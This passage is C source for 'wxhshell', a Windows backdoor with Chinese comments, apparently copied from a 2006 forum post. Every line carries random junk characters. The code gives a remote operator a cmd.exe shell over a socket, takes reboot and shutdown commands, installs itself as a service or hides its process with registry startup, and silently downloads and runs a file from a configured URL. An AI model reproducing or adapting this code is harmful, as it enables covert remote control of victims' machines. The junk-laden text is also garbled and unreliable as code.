  } #M^Yh?~%w  
  else { x(zZqOed  
pL/.JzB  
    switch(cmd[0]) { 9PGR#!!F$  
  zu*G4?]~h  
  // 帮助 e, 0I~:  
  case '?': { 6N+)LF}P b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F4<2.V)#-  
    break; ;q&D,4r]  
  } $F()`L{Tj  
  // 安装 9egaN_K  
  case 'i': { /^eemx  
    if(Install()) ZUJOBjb` K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c2mt<DtWW  
    else Ru')X{]25  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )zt4'b\)v  
    break; RrpF i'R  
    } {BCj VmY  
  // 卸载 HeifFJn  
  case 'r': { Y9L6W+=T  
    if(Uninstall()) N_k6UA9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LLY;IUK!R  
    else eL?si!ZL^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yIf}b  
    break; LqsJHG  
    } ^r :A^q  
  // 显示 wxhshell 所在路径 )9jQ_  
  case 'p': { N&h!14]{ Z  
    char svExeFile[MAX_PATH]; 6Oba}`)q9  
    strcpy(svExeFile,"\n\r"); 8 (h  
      strcat(svExeFile,ExeFile); ^QQ NJ  
        send(wsh,svExeFile,strlen(svExeFile),0); 3X,{9+(F  
    break; DF|lUO]:  
    } }~'Wz*Gm  
  // 重启 "}+/ 0$F  
  case 'b': { y/6LMAI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |B$\3,  
    if(Boot(REBOOT)) A y[L{!)2{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bCe-0!Q  
    else { xLK0~|_#!  
    closesocket(wsh); 'R'a/ZR`B7  
    ExitThread(0); 9:w,@Phe  
    } TC{Qu;`H+U  
    break; FF!g9>  
    } qML*Kwg  
  // 关机 .%Q Ea_\  
  case 'd': { ,4W((OQ^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $[CA#AXE  
    if(Boot(SHUTDOWN))  iPO S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y+afUJT  
    else { /(pChY>  
    closesocket(wsh); }/0dfes  
    ExitThread(0); Py]ci`27  
    } +M&S  
    break; Y mjS!H  
    } r+p jv_R  
  // 获取shell NT/B4'_@  
  case 's': { &it/@8yH  
    CmdShell(wsh); (+ anTA=  
    closesocket(wsh); :Rj,'uH+h)  
    ExitThread(0); n1(X%%2  
    break; &)jZ|Q~  
  } .{Oq)^!ot  
  // 退出 4H)" d  
  case 'x': { r['C.S6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6|cl`}g_j  
    CloseIt(wsh); t3g! 5  
    break; i4rF~'h@  
    } + qqN  
  // 离开 $i>VI  
  case 'q': { M?zAkHNS$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P$Ru NF  
    closesocket(wsh);  Bt3=/<.\  
    WSACleanup(); |raQ]b@t&  
    exit(1); beZ| i 1:  
    break; n`Iy7X  
        } 3*2pacHpE  
  } (r\h dLX  
  } MXV4bgltT  
3~xOO*`o  
  // 提示信息 =W*`HV-w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @0'|Uygn  
} &~f_1<  
  } bR,Iq}p  
JhIK$Ti  
  return; p;=(-4\V}  
} 4:g:$s|SE[  
%]oLEmn}y  
// shell模块句柄 (C@@e'e  
int CmdShell(SOCKET sock) yo?Q%w'Nh  
{ Ps\^OJR  
STARTUPINFO si; jpv,0(  
ZeroMemory(&si,sizeof(si)); E/']M~Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6J+ZeBk??  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9(j!#`O7&  
PROCESS_INFORMATION ProcessInfo; 6E]rxps}"  
char cmdline[]="cmd"; r'\TS U5!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ".D +# 2Kl  
  return 0; j~q`xv+R  
} Mwc3@  
{2@96o2}  
// 自身启动模式 jMbK7 1K%  
int StartFromService(void) g>zL{[e!  
{ LWV`xCr8R  
typedef struct -;"l 5oX  
{ J[wXG6M  
  DWORD ExitStatus; 1_lL?S3,a@  
  DWORD PebBaseAddress; -1JHhRr]  
  DWORD AffinityMask; |Wk G='02  
  DWORD BasePriority; <-}\V!@E!  
  ULONG UniqueProcessId; C ,hsr  
  ULONG InheritedFromUniqueProcessId; vrbh+  
}   PROCESS_BASIC_INFORMATION; e*H$c?7NL  
Din)5CxFX  
PROCNTQSIP NtQueryInformationProcess; _AYF'o-Cm  
'DQyB`V2y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pASVnXJZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n\Ixv  
_y UFe&  
  HANDLE             hProcess; P7-3Vf_L  
  PROCESS_BASIC_INFORMATION pbi; IhLfuyFWu  
0aWb s$FyU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C<>.*wlp=  
  if(NULL == hInst ) return 0; `f]O  
CI{x/ e^(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GNOC5 E$I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O]lfs >>x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nT"z(\i.!J  
{+Yo&F}n  
  if (!NtQueryInformationProcess) return 0; Dy!fwYPA/{  
}}_l@5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &)-?=M  
  if(!hProcess) return 0; H #_Z6J  
7l3q~dQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]U%Tm>s.  
A4' aB0^  
  CloseHandle(hProcess); @jKB!z9{  
(.o'1 '  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W(YJz#]6_  
if(hProcess==NULL) return 0; Kq$1lPI  
7ZZt|bl  
HMODULE hMod; K#r` ^aUc  
char procName[255]; I]X<L2  
unsigned long cbNeeded; kZQ;\QL1}  
's<}@-]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e{&gF1" [  
3yN1cd"#?  
  CloseHandle(hProcess); BL67sva;  
sa*-B  
if(strstr(procName,"services")) return 1; // 以服务启动 :cTi$n  
T*m21<  
  return 0; // 注册表启动 p<4':s;*  
} ~vmY 2h\  
'! (`?  
// 主模块 k W,|>  
int StartWxhshell(LPSTR lpCmdLine) v0=~PN~E  
{ ,dBI=D'  
  SOCKET wsl; z/b*]"g,  
BOOL val=TRUE; 4<|u~n*JF  
  int port=0; { SV$fl;  
  struct sockaddr_in door; zdCt#=QV?R  
-eTGRr  
  if(wscfg.ws_autoins) Install(); JK4  @  
CR<l"~X  
port=atoi(lpCmdLine); 2dfA}i>k  
GcuZPIN%D  
if(port<=0) port=wscfg.ws_port; >nX'RE|F  
EcU9Tm`h  
  WSADATA data; wal }[F#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 71_N9ub@z  
q9Q4F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q"O _h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A\`Uu&  
  door.sin_family = AF_INET; F <(Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y+a&swd2(U  
  door.sin_port = htons(port); B_> Fd&  
&D:88   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !?{5ET,gtN  
closesocket(wsl); bPNsy@"6  
return 1; a'BBp6  
} 1Q<a+ l  
Yh=Zn[ U  
  if(listen(wsl,2) == INVALID_SOCKET) { eo!z>9#.  
closesocket(wsl);  BeQJ/`  
return 1; eW/Hn  
} Ax ^9J)C  
  Wxhshell(wsl); \;}dS SB1  
  WSACleanup(); dSbV{*B;>  
-t]0DsPg  
return 0; i|*:gH  
<3HJkcYGz  
} u|e2T@t=  
Oaui@q  
// 以NT服务方式启动 y}A-o_u@cD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W8)GT`\  
{ f&:g{K  
DWORD   status = 0; qp Z ".  
  DWORD   specificError = 0xfffffff; 5gGr|d|(  
sMZ \6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9E5B.qlw$l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2bqwnRT}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VrpY BU  
  serviceStatus.dwWin32ExitCode     = 0; BtspnVB ez  
  serviceStatus.dwServiceSpecificExitCode = 0; q6q= ,<T%S  
  serviceStatus.dwCheckPoint       = 0; 7 UR)4dYA  
  serviceStatus.dwWaitHint       = 0; @:}z\qBM  
q07>FW R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;RXv%ML  
  if (hServiceStatusHandle==0) return; ]Sh&8 #  
][3 "xP  
status = GetLastError(); a.P^+h  
  if (status!=NO_ERROR) N'4*L=Ut  
{ SLW1]ZaG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F)C8LH  
    serviceStatus.dwCheckPoint       = 0; !*p lK6a  
    serviceStatus.dwWaitHint       = 0; :H~r _>E  
    serviceStatus.dwWin32ExitCode     = status; !)GPI?{^5  
    serviceStatus.dwServiceSpecificExitCode = specificError; DGcd|>q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Oy,SX  
    return; .*ZNZ|g_  
  } #C|iW@  
`+U-oqs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ab2VF;z :  
  serviceStatus.dwCheckPoint       = 0; 1!~9%=%  
  serviceStatus.dwWaitHint       = 0; |nD`0Rbw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IySlu^a  
} }G]]0Oi2  
# aC}\  
// 处理NT服务事件,比如:启动、停止 x[]n\\a?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1UOFTI2S|  
{ Gb"PMai  
switch(fdwControl) kY|<1Ht  
{ {2!.3<#  
case SERVICE_CONTROL_STOP: Rc u/ @j{O  
  serviceStatus.dwWin32ExitCode = 0; {|qz>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cB|](gWS~  
  serviceStatus.dwCheckPoint   = 0; 6uDNqq  
  serviceStatus.dwWaitHint     = 0; s;>jy/o0 s  
  { , =#'?>Kq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ox58L>:0m  
  } c Mq|`CM  
  return; iKu5K0x{>I  
case SERVICE_CONTROL_PAUSE: {L#Pdj{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L;Nm"[ `  
  break; C3|M\[*fp  
case SERVICE_CONTROL_CONTINUE: !O*\|7A(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <|v]9`'  
  break; VP[ J#TPU  
case SERVICE_CONTROL_INTERROGATE: zzM 'uo  
  break; /MA4Er r  
}; 86[T BX5'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g1Aq;Ah/  
} `Do-!G+W  
<MoWS9s!yb  
// 标准应用程序主函数 7uYJ _R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3iDRt&y=.  
{ WO|#`HM2  
a4c~ThbI  
// 获取操作系统版本 *edB3!!  
OsIsNt=GetOsVer(); ondF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |@Bl?Bs+  
vFQ'sd]C  
  // 从命令行安装 !iMsTH<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5@?P 8  
}=NjFK_6  
  // 下载执行文件 lV3\5AEW  
if(wscfg.ws_downexe) { XJ.vj+XXb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <Dl7|M  
  WinExec(wscfg.ws_filenam,SW_HIDE); nT:ZSJWM  
} O0e6I&u :  
<`BUk< uf#  
if(!OsIsNt) { h&&ufF]D  
// 如果时win9x,隐藏进程并且设置为注册表启动 $Die~rPU  
HideProc(); 4~D?F'o  
StartWxhshell(lpCmdLine); d&F8nBIM5  
} ~i(X{ ^,3  
else ~qs 97'  
  if(StartFromService()) 4\>Cnc{  
  // 以服务方式启动 Q 1g@FsW&U  
  StartServiceCtrlDispatcher(DispatchTable); M*|x,K=U  
else WJ8i,7  
  // 普通方式启动 VGkwrS;+I  
  StartWxhshell(lpCmdLine); t=5 K#SX}  
K^EW*6vB8O  
return 0; Ao(Xz$cQfW  
}
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只看该作者 1 发表于: 2006-10-10
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